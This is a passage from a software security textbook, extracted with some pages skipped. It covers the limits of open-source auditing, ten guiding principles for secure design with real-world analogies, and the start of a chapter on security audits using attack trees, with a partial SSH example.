audit that found the hole had been instigated when the programmer in ques-
tion was arrested for hacking (for which he later pleaded guilty)! Bellovin
was never sure whether they were added intentionally or not [Bellovin,
personal communication, December 2001].
majority of the people who analyze your program for security problems
have nefarious motives, and probably won’t end up sharing their discoveries
with you. By taking away the source code, you make your program much
harder for people to analyze, and thus make it less likely that anyone will
help you improve your product.
There are other factors that make open-source software less effective
than it could be. One problem is that the source code that people end up
auditing may not map at all to the binary people are using. For example,
let’s say that someone were to break into the site of the person who main-
tains the Red Hat Package Manager (RPM) for Samba, and change the
release scripts to add a Trojan horse into the source before compilation any
time the RPM is rebuilt (or perhaps they add a Trojan horse to some of the
commands used in the build process to do the same thing). The script could
easily remove the Trojan horse from the source once the build is complete.
How likely do you think it is that the package maintainer will notice the
problem? Integrity checkers may be able to help with some of these
problems. Tripwire [Kim, 1993] is a well-known integrity checker that is
still freely available in some form (http://www.tripwire.com). There are
others, such as Osiris (http://www.shmoo.com/osiris/).
not use your e-mail address for any other purpose than to notify you of
important security information.
Additional outside eyes are always useful for getting a fresh perspective
on your code. Think about open sourcing your software. If many people do
audit your software for security on their own, you will probably have more
secure software to show for it in the long run. But make sure that you get as
many trusted eyes as possible to examine your code before you publicly
release the source. It is a whole lot easier to limit the scope of a problem if
you catch it before you ship your software!
Conclusion
We should emphasize that this chapter isn’t about open code versus closed
code, or even about open source versus non-free software. There are a number
of benefits to open-source software, and we think there is probably some
value from a security point of view in having the source code available for
all to scrutinize. Open-source software has the potential to be more secure
than closed, proprietary systems, precisely because of the many-eyeballs
phenomenon, but only in a more perfect world.
Nonetheless, we believe that the benefits that open source provides in
terms of security are vastly overstated today, largely because there isn’t as
much high-quality auditing as you might suspect, and because many security
problems are much more difficult to find than many people seem to think.
Open sourcing your software may help improve your security, but there
are associated downsides you must be aware of if you’re going to see real
benefits. In the end, open sourcing your software makes an excellent supple-
ment to solid development practices and prerelease source-level audits, but it
is most definitely not a substitute. You should make your decision on pro-
viding source code based on business factors, not security considerations.
Don’t use the source availability, or lack thereof, as a crutch to convince
yourself that you’ve been duly diligent when it comes to security.
This page intentionally left blank
Guiding Principles
for Software Security
5
W e hope we’ve been able to impress on you the fact that software
security is hard. One of the biggest challenges is that some important
new flaws tend to defy all known patterns completely. Following a checklist
approach based on looking for known problems and avoiding well-marked
pitfalls is not an optimal strategy. For a good example we need to look no
further than cryptography, where it is relatively easy to construct a new
algorithm that resists the best known attacks on well-understood algorithms
but that is still broken. New algorithms that seem good in light of known
cryptographic problems end up in the dustbin all the time. That’s because
protecting against unknown attacks is a far greater challenge than protect-
ing against hackneyed rote attacks. One major factor is that there is plenty
of room for new attacks to emerge, and every few years a significant one
does. Another major factor is that keeping up with known problems is
difficult, because there are so many of them.
Mobile code security teaches us the same lesson in a different way. Java
attack applets may fall into generic types to some extent: type confusion
attacks, type safety verification attacks, class-loading attacks, and so on. But
there is no algorithmic (or even heuristic) way of describing known attacks
in such a way that a “scanner” could be built to find new ones. New
categories of attacks as well as surprising new twists on broad categories
91
92 Chapter 5 Guiding Principles for Software Security
Some caveats are in order. No list of principles like the one just pre-
sented is ever perfect. There is no guarantee that if you follow these principles
your software will be secure. Not only do our principles present an incomplete
picture, but they also sometimes conflict with each other. As with any complex
set of principles, there are often subtle tradeoffs involved. For example, the
Principle 1: Secure the Weakest Link 93
Let’s say the bad guy in question wants access to secret data being sent
from point A to point B over the network (traffic protected by SSL-1). A clever
attacker will target one of the end points, try to find a flaw like a buffer
overflow, and then look at the data before they get encrypted, or after they
get decrypted. Attacking the data while they are encrypted is just too much
work. All the cryptography in the world can’t help you if there’s an exploitable
buffer overflow, and buffer overflows abound in code written in C.
For this reason, although cryptographic key lengths can certainly have
an impact on the security of a system, they aren’t all that important in most
systems, in which there exist much bigger and more obvious targets.
For similar reasons, attackers don’t attack a firewall unless there’s a
well-known vulnerability in the firewall itself (something all too common,
unfortunately). Instead, they’ll try to break the applications that are visible
through the firewall, because these applications tend to be much easier
targets. New development tricks and protocols like Simple Object Access
Protocol (SOAP), a system for tunneling traffic through port 80, make our
observation even more relevant. It’s not about the firewall; it’s about what
is listening on the other side of the firewall.
Identifying the weakest component of a system falls directly out of a
good risk analysis. Given good risk analysis data, addressing the most serious
risk first, instead of a risk that may be easiest to mitigate, is always prudent.
Security resources should be doled out according to risk. Deal with one or two
major problems, and move on to the remaining ones in order of severity.
Of course, this strategy can be applied forever, because 100% security is
never attainable. There is a clear need for some stopping point. It is okay to
stop addressing risks when all components appear to be within the threshold of
acceptable risk. The notion of acceptability depends on the business proposition.
Sometimes it’s not the software that is the weakest link in your system;
sometimes it’s the surrounding infrastructure. For example, consider social
engineering, an attack in which a bad guy uses social manipulation to break
into a system. In a typical scenario, a service center gets a call from a sincere-
sounding user, who talks the service professional out of a password that
should never be given away. This sort of attack is easy to carry out, because
customer service representatives don’t like to deal with stress. If they are
faced with a customer who seems to be really mad about not being able
to get into their account, they may not want to aggravate the situation by
asking questions to authenticate the remote user. They instead are tempted
just to change the password to something new and be done with it.
To do this right, the representative should verify that the caller is in
fact the user in question who needs a password change. Even if they do ask
Principle 1: Secure the Weakest Link 95
questions to authenticate the person on the other end of the phone, what
are they going to ask? Birth date? Social Security number? Mother’s maiden
name? All of that information is easy for a bad guy to get if they know their
target. This problem is a common one and it is incredibly difficult to solve.
One good strategy is to limit the capabilities of technical support as
much as possible (remember, less functionality means less security exposure).
For example, you may choose to make it impossible for a user to change a
password. If a user forgets his or her password, then the solution is to create
another account. Of course, that particular example is not always an appro-
priate solution, because it is a real inconvenience for users. Relying on caller
ID is a better scheme, but that doesn’t always work either. That is, caller ID
isn’t available everywhere. Moreover, perhaps the user is on the road, or the
attacker can convince a customer service representative that they are the
user on the road.
The following somewhat elaborate scheme presents a reasonable
solution. Before deploying the system, a large list of questions is composed
(say, no fewer than 400 questions). Each question should be generic enough
that any one person should be able to answer it. However, the answer to any
single question should be pretty difficult to guess (unless you are the right
person). When the user creates an account, we select 20 questions from the
list and ask the user to answer six of them for which the user has answers
and is most likely to give the same answer if asked again in two years. Here
are some sample questions:
■ What is the name of the celebrity you think you most resemble, and the
one you would most like to resemble?
■ What was your most satisfying accomplishment in your high school years?
■ List the first names of any significant others you had in high school.
■ Whose birth was the first birth that was significant to you, be it a person
or animal?
■ Who is the person you were most interested in but you never expressed
your interest to (your biggest secret crush)?
When someone forgets their password and calls technical support, tech-
nical support refers the user to a Web page (that’s all they are given the
power to do). The user is provided with three questions from the list of six,
and must answer two correctly. If they answer two correctly, then we do
the following:
■ Give them a list of ten questions, and ask them to answer three more.
■ Let them set a new password.
96 Chapter 5 Guiding Principles for Software Security
Let’s go back to our example of bank security. Why is the typical bank
more secure than the typical convenience store? Because there are many
redundant security measures protecting the bank, and the more measures
there are, the more secure the place is.
Security cameras alone are a deterrent for some. But if people don’t care
about the cameras, then a security guard is there to defend the bank physi-
cally with a gun. Two security guards provide even more protection. But if
both security guards get shot by masked bandits, then at least there’s still a
wall of bulletproof glass and electronically locked doors to protect the tellers
from the robbers. Of course if the robbers happen to kick in the doors, or
guess the code for the door, at least they can only get at the teller registers,
because the bank has a vault protecting the really valuable stuff. Hopefully,
the vault is protected by several locks and cannot be opened without two
individuals who are rarely at the bank at the same time. And as for the teller
registers, they can be protected by having dye-emitting bills stored at the
bottom, for distribution during a robbery.
Of course, having all these security measures does not ensure that the
bank is never successfully robbed. Bank robberies do happen, even at banks
with this much security. Nonetheless, it’s pretty obvious that the sum total
Principle 3: Fail Securely 97
of all these defenses results in a far more effective security system than any
one defense alone.
The defense-in-depth principle may seem somewhat contradictory to
the “secure-the-weakest-link” principle because we are essentially saying
that defenses taken as a whole can be stronger than the weakest link. How-
ever, there is no contradiction. The principle “secure the weakest link” applies
when components have security functionality that does not overlap. But when
it comes to redundant security measures, it is indeed possible that the sum
protection offered is far greater than the protection offered by any single
component.
A good real-world example where defense in depth can be useful, but is
rarely applied, is in the protection of data that travel between various server
components in enterprise systems. Most companies throw up a corporate-
wide firewall to keep intruders out. Then they assume that the firewall is
good enough, and let their application server talk to their database in the
clear. Assuming that the data in question are important, what happens if an
attacker manages to penetrate the firewall? If the data are also encrypted,
then the attacker won’t be able to get at them without breaking the encryp-
tion, or (more likely) without breaking into one of the servers that stores the
data in an unencrypted form. If we throw up another firewall, just around
the application this time, then we can protect ourselves from people who
can get inside the corporate firewall. Now they’d have to find a flaw in some
service that our application’s subnetwork explicitly exposes, something we’re
in a good position to control.
Defense in depth is especially powerful when each layer works in concert
with the others.
into a store and make a purchase, the vendor swipes your card through
a device that calls up the credit card company. The credit card company
checks to see if the card is known to be stolen. More amazingly, the credit
card company analyzes the requested purchase in context of your recent
purchases and compares the patterns to the overall spending trends. If their
engine senses anything suspicious, the transaction is denied. (Sometimes the
trend analysis is performed off-line and the owner of a suspect card gets a
call later.)
This scheme appears to be remarkably impressive from a security point
of view; that is, until you note what happens when something goes wrong.
What happens if the line to the credit card company is down? Is the vendor
required to say, “I’m sorry, our phone line is down”? No. The credit card
company still gives out manual machines that take an imprint of your card,
which the vendor can send to the credit card company for reimbursement
later. An attacker need only cut the phone line before ducking into a 7-11.
There used to be some security in the manual system, but it’s largely
gone now. Before computer networks, a customer was supposed to be asked
for identification to make sure the card matches a license or some other ID.
Now, people rarely get asked for identification when making purchases1; we
rely on the computer instead. The credit card company can live with authen-
ticating a purchase or two before a card is reported stolen; it’s an acceptable
risk. Another precaution was that if your number appeared on a periodically
updated paper list of bad cards in the area, the card would be confiscated.
Also, the vendor would check your signature. These techniques aren’t really
necessary anymore, as long as the electronic system is working. If it somehow
breaks down, then, at a bare minimum, those techniques need to come back
into play. In practice, they tend not to, though. Failure is fortunately so un-
common in credit card systems that there is no justification for asking vendors
to remember complex procedures when it does happen. This means that
when the system fails, the behavior of the system is less secure than usual.
How difficult is it to make the system fail?
Why do credit card companies use such a brain-dead fallback scheme?
The answer is that the credit card companies are good at risk management.
They can eat a fairly large amount of fraud, as long as they keep making
money hand over fist. They also know that the cost of deterring this kind of
fraud would not be justified, because the amount of fraud is relatively low.
1. In fact, we have been told that Visa prohibits merchants who accept Visa cards from
requesting additional identification, at least in the United States.
Principle 3: Fail Securely 99
2. The policy used by the credit card companies definitely ignores the principle of “fail
securely,” but it must be said that credit card companies have done an excellent job in
performing risk management. They know exactly which risks they should ignore and which
risks they should address.
100 Chapter 5 Guiding Principles for Software Security
still can’t demand to see any secret document that you know exists. If you
could, it would be very easy to abuse the security clearance level. Instead,
people are only allowed to access documents that are relevant to whatever
task they are supposed to perform.
Some of the most famous violations of the principle of least privilege
exist in UNIX systems. For example, in UNIX systems, root privileges are
necessary to bind a program to a port number less than 1024.3 For example,
to run a mail server on port 25, the traditional SMTP (Simple Mail Trans-
port Protocol) port, a program needs the privileges of the root user. However,
once a program has set up shop on port 25, there is no compelling need for
it ever to use root privileges again.4 A security-conscious program relinquishes
root privileges as soon as possible, and lets the operating system know that
it should never require those privileges again during this execution (see
Chapter 8 for a discussion of privileges). One large problem with many
e-mail servers is that they don’t give up their root permissions once they
grab the mail port. (Sendmail is a classic example.) Therefore, if someone
ever finds a way to trick such a mail server into doing something nefarious,
he or she will be able to get root. If a malicious attacker were to find a
suitable stack overflow in Sendmail (see Chapter 7), that overflow could be
used to trick the program into running arbitrary code as root. Given root
permission, anything valid that the attacker tries will succeed. The problem
of relinquishing privilege is especially bad in Java because there is no oper-
ating system-independent way to give up permissions.
Another common scenario involves a programmer who may wish to
access some sort of data object, but only needs to read from the object. Let’s
say the programmer actually requests more privileges than necessary, for
whatever reason. Programmers do this to make life easier. For example, one
might say, “Someday I might need to write to this object, and it would suck
to have to go back and change this request.” Insecure defaults may lead to a
violation here too. For example, there are several calls in the Windows API
for accessing objects that grant all access if you pass 0 as an argument. To
3. This restriction is a remnant from the research days of the Internet, when hosts on the
Internet were all considered trusted. It was the user-level software and the end user who were
untrusted.
4. This is actually made more complicated by the fact that most systems use a central mail-
box directory. As a side effect of this design, either the SMTP server or some program it
invokes must have root privileges. Many SMTP servers can store mailboxes in more secure
formats. For example, we’re fond of Postfix.
102 Chapter 5 Guiding Principles for Software Security
get something more restrictive, you’d need to pass a bunch of flags (OR’d
together). Many programmers just stick with the default, as long as it
works, because it’s easiest.
This problem is starting to become common in security policies that
ship with products intended to run in a restricted environment. Some
vendors offer applications that work as Java applets. Applets usually
constitute mobile code, which a Web browser treats with suspicion by
default. Such code is run in a sandbox, where the behavior of the applet is
restricted based on a security policy that a user sets. Vendors rarely practice
the principle of least privilege when they suggest a policy to use with their
code, because doing so would take a lot of effort on their part. It’s far easier
just to ship a policy that says: Let my code do anything at all. People gen-
erally install vendor-supplied security policies—maybe because they trust
the vendor or maybe because it’s too much of a hassle to figure out what
security policy does the best job of minimizing the privileges that must be
granted to the vendor’s application.
Laziness often works against the principle of least privilege. Don’t let
this happen in your code.
Principle 5: Compartmentalize
The principle of least privilege works a lot better if the basic access struc-
ture building block is not “all or nothing.” Let’s say you go on vacation
again, and you once again need a pet sitter. You’d like to confine the pet
sitter to the garage, where you’ll leave your pets while you’re gone. If
you don’t have a garage with a separate lock, then you have to give the
pet sitter access to the entire house, even though such access is otherwise
unnecessary.
The basic idea behind compartmentalization is to minimize the amount
of damage that can be done to a system by breaking up the system into as
few units as possible while still isolating code that has security privileges.
This same principle explains why submarines are built with many different
chambers, each separately sealed. If a breach in the hull causes one chamber
to fill with water, the other chambers are not affected. The rest of the ship
can keep its integrity, and people can survive by making their way to parts
of the submarine that are not flooded. Unfortunately, this design doesn’t
always work, as the Karst disaster shows.
Another common example of the compartmentalization principle shows
up in prison design. Prison designers try hard to minimize the ability for
Principle 5: Compartmentalize 103
5. Of course, the reason many of these operations require root permission is that they give
root access fairly directly. Thus, any lesser permission suitable here is actually equivalent to
root. Maybe that’s a flaw too, but it’s at a more subtle level. There were some early attempts
to limit things. For example, in seventh edition UNIX, most commands were owned by bin,
not root, so you didn’t need to be root to update them. But root would run them, which
meant that if they were booby-trapped, the attacker with bin privileges would then get
root privileges. Separation of privilege is a good idea, but it’s a lot harder than it looks.
104 Chapter 5 Guiding Principles for Software Security
this role. Even if an attacker breaks a program, and ends up in the operating
system, the attacker still won’t be able to mess with the log files unless the
log management program gets broken too.
Complicated “trusted” operating systems are not all that common. One
reason is that this kind of functionality is difficult to implement and hard to
manage. Problems like dealing with memory protection inside the operating
system provide challenges that have solutions, but not ones that are simple
to effect.
The compartmentalization principle must be used in moderation. If you
segregate each little bit of functionality, then your system will become
completely unmanageable.
6. Subtle implementation flaws may very well seem to work if both ends are using the same
library. Trying to get different implementations of an algorithm to interoperate tends to weed
out more problems.
Principle 6: Keep It Simple 105
It also stands to reason that adding bells and whistles tends to violate
the simplicity principle. True enough. But what if the bells and whistles are
security features? When we discussed defense in depth, we said that we
wanted redundancy. Here, we seem to be arguing the opposite. We previously
said, Don’t put all your eggs in one basket. Now we’re saying, Be wary of
having multiple baskets. Both notions make sense, even though they’re
obviously at odds with each other.
The key to unraveling this paradox is to strike a balance that is right
for each particular project. When adding redundant features, the idea is to
improve the apparent security of the system. When enough redundancy has
been added to address the security level desired, then extra redundancy is
not necessary. In practice, a second layer of defense is usually a good idea,
but a third layer should be carefully considered.
Despite its obvious face value, the simplicity principle has its subtleties.
Building as simple a system as possible while still meeting security require-
ments is not always easy. An on-line trading system without encryption is
certainly simpler than an otherwise equivalent one that includes cryptography,
but there’s no way that it’s more secure.
Simplicity can often be improved by funneling all security-critical opera-
tions through a small number of choke points in a system. The idea behind a
choke point is to create a small, easily controlled interface through which
control must pass. This is one way to avoid spreading security code through-
out a system. In addition, it is far easier to monitor user behavior and input
if all users are forced into a few small channels. This is the idea behind having
only a few entrances at sports stadiums. If there were too many entrances,
collecting tickets would be harder and more staff would be required to do
the same quality job.
One important thing about choke points is that there should be no
secret ways around them. Harking back to our example, if a stadium has
an unsecured chain-link fence, you can be sure that people without tickets
will climb it. Providing “hidden” administrative functionality or “raw”
interfaces to your functionality that are available to savvy attackers can
easily backfire. There have been plenty of examples when a hidden admin-
istrative backdoor could be used by a knowledgeable intruder, such as a
backdoor in the Dansie shopping cart or a backdoor in Microsoft FrontPage,
both discovered in the same month (April 2000). The FrontPage backdoor
became somewhat famous because of a hidden encryption key that read,
Netscape engineers are weenies!
Another not-so-obvious but important aspect of simplicity is usability.
Anyone who needs to use a system should be able to get the best security it
106 Chapter 5 Guiding Principles for Software Security
has to offer easily, and should not be able to introduce insecurities without
thinking carefully about it. Even then, they should have to bend over back-
ward. Usability applies both to the people who use a program and to the
people who have to maintain its code base, or program against its API.
Many people seem to think they’ve got an intuitive grasp on what is easy
to use, but usability tests tend to prove them wrong. This may be okay for
generic functionality, because a given product may be cool enough that ease
of use isn’t a real concern. When it comes to security, though, usability
becomes more important than ever.
Strangely enough, there’s an entire science of usability. All software
designers should read two books in this field: The Design of Everyday
Things [Norman, 1989] and Usability Engineering [Nielson, 1993]. This
space is too small to give adequate coverage to the topic. However, we can
give you some tips, as they apply directly to security:
solution, though, because it means they have to type in their credit card
information every time they want to buy something. A more secure ap-
proach would make the convenience of “one-click shopping” impossible.
The only acceptable solution in this case is to store the credit card in-
formation, but be really careful about it. We should never show the user any
credit card number, even the one that belongs to the user, in case someone
manages to get access they shouldn’t have. A common solution is to show a
partial credit card number with most of the digits blacked out. Although not
perfect, this compromise is often acceptable.7
A better idea may be to ask for the issuing bank, never showing any part of
the actual number once it has been captured. The next time the user wants
to select a credit card, it can be done by reference to the bank. If a number
needs to be changed because there is a new card, it can be entered directly.
On the server side, the credit card number should be encrypted before
being stored in a database. Keep the key for the credit card number on a dif-
ferent machine (this requires decrypting and encrypting on a machine other
than the one on which the database lives). In this way, if the database gets
compromised, then the attacker still needs to find the key, which requires
breaking into another machine. This raises the bar.
User privacy isn’t the only kind of privacy. Malicious hackers tend to
launch attacks based on information easily collected from a target system.
Services running on a target machine tend to give out lots of information
about themselves that can help the attacker figure out how to break in. For
example, the TELNET service often supplies the operating system name
and version:
$ telnet testbox
Trying 10.1.1.2...
Connected to testbox (10.1.1.2).
Escape character is '^]'.
7. One problem with this blacking-out system is that some people show the first 12 digits and
hide the last four, whereas others hide the first 12 and show the last four, together showing
the entire thing!
Principle 8: Remember That Hiding Secrets Is Hard 109
engineering binaries. They can pull a binary apart and figure out what it
does. The transparent binary problem is why copy protection schemes for
software tend not to work. Skilled youths will circumvent any protection
that a company tries to hard code into their software, and will release
“cracked” copies. For years, there was an arms race and an associated
escalation in techniques of both sides. Vendors would try harder to keep
people from finding the secrets to “unlock” software, and the software
crackers would try harder to break the software. For the most part, the
crackers won. Cracks for interesting software like DVD viewers or audio
players tend to show up on the same day that the software is officially
released, and sometimes sooner.
It may appear that software running server side on a dedicated network
could keep secrets safe, but that’s not necessarily the case. Avoid trusting
even a dedicated network if possible. Think through a scenario in which
some unanticipated flaw lets an intruder steal your software. This actually
happened to id software right before they released the first version of
Quake.
Even the most secure networks are often amenable to insider attacks.
Several studies show that the most common threat to companies is the
insider attack, in which a disgruntled employee abuses access. Sometimes
the employee isn’t even disgruntled. Maybe he just takes his job home, and
a friend goes prodding around where he or she shouldn’t. Think about the
fact that many companies are not able to protect their firewall-guarded
software from a malicious janitor. If someone is really intent on getting to
software through illegal means, it can probably be done. When we point
out the possibility of an insider attack to clients, we often hear, “That won’t
happen to us. We trust our employees.” But relying on this reasoning is dan-
gerous even though 95% of the people we talk to say the same thing. Given
that most attacks are perpetrated by insiders, there’s a large logical gap here,
suggesting that most of the people who believe they can trust their employ-
ees must be wrong. Remember that employees may like your environment,
but when it comes down to it, most of them have a business relationship
with your company, not a personal relationship. The moral here is that it
pays to be paranoid.
The infamous FBI spy Richard P. Hanssen carried out the ultimate
insider attack against US classified networks for more than 15 years. Hanssen
was assigned to the FBI counterintelligence squad in 1985, around the same
time he became a traitor to his country. During some of that time, he had
root privileges on a UNIX system. The really disturbing thing is that Hanssen
Principle 9: Be Reluctant to Trust 111
created code (in C and Pascal) that was (is?) used to carry out various
communications functions in the FBI. Apparently, he wrote code used by
agents in the field to cable back to the home office. We sincerely hope that
any and all code used in such critical functions is carefully checked before
it becomes widely used. If not, the possibility that a Trojan horse is installed
in the FBI communication system is extremely high. Any and all code that
was ever touched by Hanssen needs to be checked. In fact, Hanssen sounds
like the type of person who may even be able to create hard-to-detect dis-
tributed attacks that use covert channels to leak information.
Software is a powerful tool, both for good and evil. Because most people
treat software as magic and never actually look at its inner workings, the
potential for serious misuse and abuse is a very real risk.
Keeping secrets is hard, and it is almost always a source of security risk.
often hear people deny a need to encrypt sensitive data because their
competitors aren’t encrypting their data. This argument holds up only as
long as customers are not hacked. Once they are, they will look to blame
someone for not being duly diligent about security.
Skepticism is always good, especially when it comes to security vendors.
Security vendors all too often spread suspect or downright false data to sell
their products. Most snake oil peddlers work by spreading FUD: fear, uncer-
tainty, and doubt. Many common warning signs can help identify security
quacks. One of our favorites is the advertising of “million-bit keys” for a
secret key encryption algorithm. Mathematics tells us that 256 bits will
likely be a big enough symmetric key to protect messages through the
lifetime of the universe, assuming the algorithm using the key is of high
quality. People advertising more know too little about the theory of cryptog-
raphy to sell worthwhile security products. Before making a security buy
decision, make sure to do lots of research. One good place to start is the
“Snake Oil” FAQ, available at http://www.interhack.net/people/cmcurtin/
snake-oil-faq.html.
Sometimes it is prudent not to trust even yourself. It is all too easy to be
shortsighted when it comes to your own ideas and your own code. Although
everyone wants to be perfect, it is often wise to admit that nobody is, and
periodically get some objective, high-quality outside eyes to review what
you’re doing.
One final point to remember is that trust is transitive. Once you dole
out some trust, you often implicitly extend it to anyone the trusted entity
may trust. For this reason, trusted programs should not invoke untrusted
programs, ever. It is also good to be careful when determining whether a
program should be trusted or not. See Chapter 12 for a complete discussion.
When you spread trust, be careful.
Conclusion
The ten principles discussed in this chapter address many common security
problems when properly applied. Of course, no guidelines are ever perfect.
The good ideas here must be carefully applied.
This page intentionally left blank
Auditing Software
6
“There will always be engineering failures. But the worst kind of failures are those
that could readily be prevented if only people stayed alert and took reasonable
precautions. Engineers, being human, are susceptible to the drowsiness that comes
in the absence of crisis. Perhaps one characteristic of a professional is the ability
and willingness to stay alert while others doze. Engineering responsibility
should not require the stimulation that comes in the wake of catastrophe.”
—Samuel C. Florman
THE CIVILIZED ENGINEER
115
116 Chapter 6 Auditing Software
are not the right people to be performing an audit. If you have a security
architect who designs systems but does not build them, then this person may
be a good candidate to review an implementation (although there may still
be a project or corporate bias that causes this person to miss flaws). The
additional skill that an implementation analyst must have is a solid under-
standing of programming. Sometimes, excellent security architects are not
the greatest programmers. In such a case, you may pair a highly skilled
programmer with the analyst. The analyst can tell the programmer what
sorts of things to look for in code, and the programmer can dig through
the code to see if the right and wrong things are there.
Even if your security architect is very well rounded, groups of people
tend to work best for any kind of analysis. In particular, having multiple
people with a variety of diverse backgrounds always increases the effective-
ness of a security audit. Different analysts tend to see different things, and
understand things differently. For example, systems engineers tend to think
differently than computer scientists. If you unite multiple people and have
them discuss their findings after independent review, they tend to find even
more things than if they each work independently.
By the same logic, it can be helpful when bringing in outside experts
to bring in multiple sets of outside experts. Of course, different groups are
likely to find largely the same things, yet each group can be expected to
notice a few things the other group does not. Major financial companies
often take this approach when assessing high-risk products. It’s also a good
technique for figuring out whether a particular analysis team is good. If an
outside team is not finding the more “obvious” things that other teams are
finding, then the quality of their work may be suspect.
identify the areas of the system that seem to be most important in terms
of security, and research those parts of the system thoroughly. Ultimately,
the analyst will have a number of questions about the system and the envi-
ronment in which it operates. When all these questions are answered, it’s
time to move into the analysis phase.
Of course the analysis phase frequently raises all sorts of new questions
about the system that need to be answered. There is no harm in this. The
phases or our approach tend to overlap somewhat, but are distinct in terms
of their basic focus. When in the information-gathering phase, we may break
a system, but we’re actually more worried about ensuring that we have a
good overall understanding of the system than we are about breaking it. This
highlights a critical difference between our approach and a more ad hoc
“red-teaming” approach. During the analysis phase, we’re more interested
in exploring attacks that one could launch against a system, but will go out
and get more information if necessary to aid in our understanding of how
likely or how costly it will be to launch an attack.
It is unrealistic to think that an analyst won’t be trying to think of pos-
sible attacks on the system during the information-gathering phase. Any
good analyst will, and that’s to be expected (and is perfectly acceptable). In
fact, such critical thinking is important, because it helps the analyst deter-
mine which areas of the system are not understood deeply enough. Although
the analyst should be taking notes on possible attacks, formal analysis
should be put off until the second phase.
Let’s delve more deeply into the information-gathering phase. First,
there are requirements to examine. This implies that a system should have
a complete, well-documented set of requirements that address security. This
is important, because the requirements encode the security policy of the
system at a high level. Without the notion of what a security breach consists
of, an analyst’s job becomes much harder. What tends to happen is that the
analyst is forced to make assumptions about security requirements, which
often leads to a defensive stance from management when the analyst errs
on the side of security. For example, an analyst may complain that a large
company doesn’t encrypt data from its application servers to its databases.
Although the application server is behind a firewall, firewalls tend to be easy
to circumvent, especially as the number of computers behind a firewall
grows. However, when this finding is presented to management, manage-
ment may get defensive and say that this is an acceptable risk. If the fact that
the company is willing to rely on corporate network security is documented
in the requirements, then this misunderstanding can be avoided.
120 Chapter 6 Auditing Software
Attack Trees
The second goal of the information-gathering phase is getting to know the
system. A good way to go about this is to get a brief, high-level overview of
the architecture from the design team (from the security engineer in partic-
ular, should one exist). At this time, the analyst should read all available
documentation about a system, noting any questions or inconsistencies.
Sometimes, parts of the documentation can be skipped if they are not
security relevant and do not contribute significantly to understanding the
system as a whole (although figuring out what is okay to skip is much more
of an art than a science). At this point, the documentation should be used
mainly to get a high-level sense of the system. We can put off a thorough
review with a fine-tooth comb until later.
If a system isn’t documented, or it is poorly documented, then a security
analyst will have a hard time doing a solid job. Unfortunately, this often is
the case when an analyst is called in to look at a design, and the implemen-
tation is done or is in progress. In these cases, the best way for an analyst to
proceed is to get to know the system as deeply as possible up front, via
extensive, focused conversations with the development team. This should
take a day or two (depending on the size and complexity of the system, of
course).
It is often a good idea to do this even when the system is well docu-
mented, because documentation does not always correlate with the actual
implementation, or even the current thinking of the development staff!
When conflicting information is found, the analyst should try to find the
correct answer, and then document the findings. If no absolute answer is
immediately forthcoming, any available evidence should be documented so
that the development staff may resolve the issue on its own time. Inconsis-
tency is a large source of software security risk.
Architectural Security Analysis 121
When the analyst has a good overall understanding of the system, the
next step is to create a battle plan. This can be as simple as creating a list of
things to pursue next. The analyst needs to learn as much as possible about
the system, and may need to do extensive research about the methods or tools
used. However, the analyst could probably spend as much time learning
about the first component as is available for the entire analysis. This will not
do. Thus, the idea is to prioritize things to dig into based on probable risk,
and to budget available time and staff appropriately.
The next step is to research parts of the system in order of priority.
Remember to include parts of the system that were not created in-house.
For example, shrink-wrapped software used as a part of a system tends to
introduce real risk. The analyst should strive to learn as much as possible
about the risks of any shrink-wrapped software. The analyst should scour
the Internet for known bugs, pester the vendor for detailed information,
check out Bugtraq archives, and so forth.
When researching parts of the system, questions inevitably arise. During
this part of the analysis, providing access to the product development staff
may seem to be a good idea, because it will produce mostly accurate informa-
tion quickly. However, you may want to rethink giving this kind of full-bore
access to the analyst, because the analyst can easily become a nuisance to
developers. Instead, the analyst should interact only with a single contact
(preferably the security architect, if one exists), and should batch questions
to be delivered every few days. The contact can then be made responsible
for getting the questions answered, and can buffer the rest of the develop-
ment team.
The analysis phase begins when all the information is gathered. The
main goal of the analysis phase is to take all of the gathered information,
methodically assess the risks, rank the risks in order of severity, and identify
countermeasures. In assessing risk, we like to identify not only what the
risks are, but also the potential that a risk can actually be exploited, along
with the cost of defending against the risk.
The most methodical way we know of achieving this goal is to build
attack trees. Attack trees are a concept derived from “fault trees” in
software safety [Leveson, 1995]. The idea is to build a graph to represent
the decision-making process of well-informed attackers. The roots of the
tree represent potential goals of an attacker. The leaves represent ways of
achieving the goal. The nodes under the root node are high-level ways in
which a goal may be achieved. The lower in the tree you go, the more
specific the attacks get.
122 Chapter 6 Auditing Software
The way we use attack trees, there is a second kind of node called a
pruning node. It specifies what conditions must be true for its child nodes to
be relevant. These nodes are used to prune the tree in specific circumstances,
and are most useful for constructing generic attack trees against a protocol
or a package that can be reused even in the face of changing assumptions.
For example, some people may decide not to consider insider attacks. In our
approach, you can have nodes in which the children are only applicable if
insider attacks are to be considered.
Figure 6–1 shows a partial attack tree for the SSH protocol. The leaves
could be expanded into many, far more specific attacks. We certainly would
not claim that this attack tree covers every attack against SSH! Part of the
difficulty of security analysis of this sort is getting the confidence that your
analysis is even reasonably complete.
Attack trees tend to be very large. They’re thus better represented in
outline format than in picture format.
Note that most child nodes represent logical ORs. Sometimes we may
also need to use logical ANDs. For example, in the attack tree shown in
Figure 6–1, we can attack the system by obtaining an encrypted private key
AND the pass phrase used to encrypt it.
Now that we have an attack tree, we need to make it more useful by
assigning some sort of value to each node for perceived risk. Here we must
consider how feasible the attack is in terms of time (effort), cost, and risk to
the attacker.
We may, for example, believe that breaking the encryption is incredibly
hard, both in terms of the amount of effort and the cost. Many attacks that
allow us to obtain a key are often pretty easy in comparison, such as phys-
ically compelling someone to give us what we need. However, physically
compelling someone probably puts the attacker at much greater risk, and is
therefore less likely.
124 Chapter 6 Auditing Software
Man-in-the-middle attacks tend to be a very high risk for SSH users. The
conditionals in that section of the tree are often true, the cost of launching
such an attack is relatively low (tools like dsniff can automate the process
very well), and there is very little risk to the attacker. This is an excellent
area to concentrate on during an analysis.
Looking at the attack tree we can determine that our two biggest risks
are probably man-in-the-middle attacks and attacks on a user’s password or
pass phrase (in each case, attacks can be automated). In fact, this attack tree
suggests that most users of SSH could be successfully attacked with relative
simplicity, which may come as a surprise to many SSH users.
The best thing about attack trees is that data get organized in a way that
is easy to analyze. In this way, it is easy to determine the cheapest attack.
The same goes for the most likely attack. How do we do all these things? We
come up with the criteria we’re interested in enforcing, and walk the tree,
